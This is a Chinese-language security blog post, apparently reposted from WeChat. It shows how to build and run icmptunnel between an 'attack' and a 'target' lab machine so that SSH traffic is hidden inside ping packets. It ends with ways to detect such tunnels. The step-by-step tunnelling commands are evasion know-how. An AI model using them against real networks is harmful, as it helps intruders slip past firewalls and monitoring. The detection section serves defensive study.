|
文章来源:木木安全
原文:https://www.mumsec.com/?p=66
0x01 说明
icmptunnel是用来搭建icmp隧道的,只能都运行在linux系统上。而pingtunnel可以运行在linux和windows上
icmptunnel是通过建立一个tun0网卡进行的点对点通信
攻击机ip:192.168.56.128
目标机ip:192.168.56.143
项目地址:https://github.com/jamesbarlow/icmptunnel
0x02 过程
在攻击机只能ping通目标机的情况下,攻击机运行icmptunnel做为客户端,目标机运行icmptunnel做为服务端
首先我们在攻击机和受害机都需要安装下icmptunnel,并把2个系统的icmp回显禁用掉,命令如下
git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
然后我们在目标机上运行icmptunnel,简单跟一个s参数即可。运行后会提示打开了一个隧道tun0,我们这时需要给tun0设置一下ip和子网掩码(使用tun0点对点和目标机通信)
# ./icmptunnel –s &
# ifconfig tun0 10.0.0.1 netmask 255.255.255.0
现在在攻击机上将icmptunnel指向目标机,病设置一下ip地址
# ./icmptunnel 192.168.56.143 &
# ifconfig tun0 10.0.0.2 netmask 255.255.255.0
此时,就拥有一个通过 ICMP 数据包运行的点对点隧道。服务器端是10.0.0.1,客户端是10.0.0.2。在客户端,尝试通过 SSH 连接到目标服务器:
# ssh [email protected]
当然,还可以将目标服务器用做加密的socks代理
0x03 应对icmp隧道措施
使用icmp隧道时,会集中在某个时间点产生大量的icmp数据包,可以通过wireshark进行icmp数据包分析
-
检测同源的icmp数据包数量,正常的ping命令每秒最多两个数据包,隧道会产生大量的数据包。
-
注意payload大于64bit的ICMP数据包
-
寻找响应数据包和请求数据包payload不一致的ICMP数据包
windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes
linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567
-
检查ICMP数据包的协议标签,比如icmptunnel会在所有icmp payload前面加上TUNL标识来标识隧道
走过路过的大佬们留个关注再走呗
最后
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
无害实验室sec拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的
原文始发于微信公众号(无害实验室sec):利用icmp tunnel建立通信隧道
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论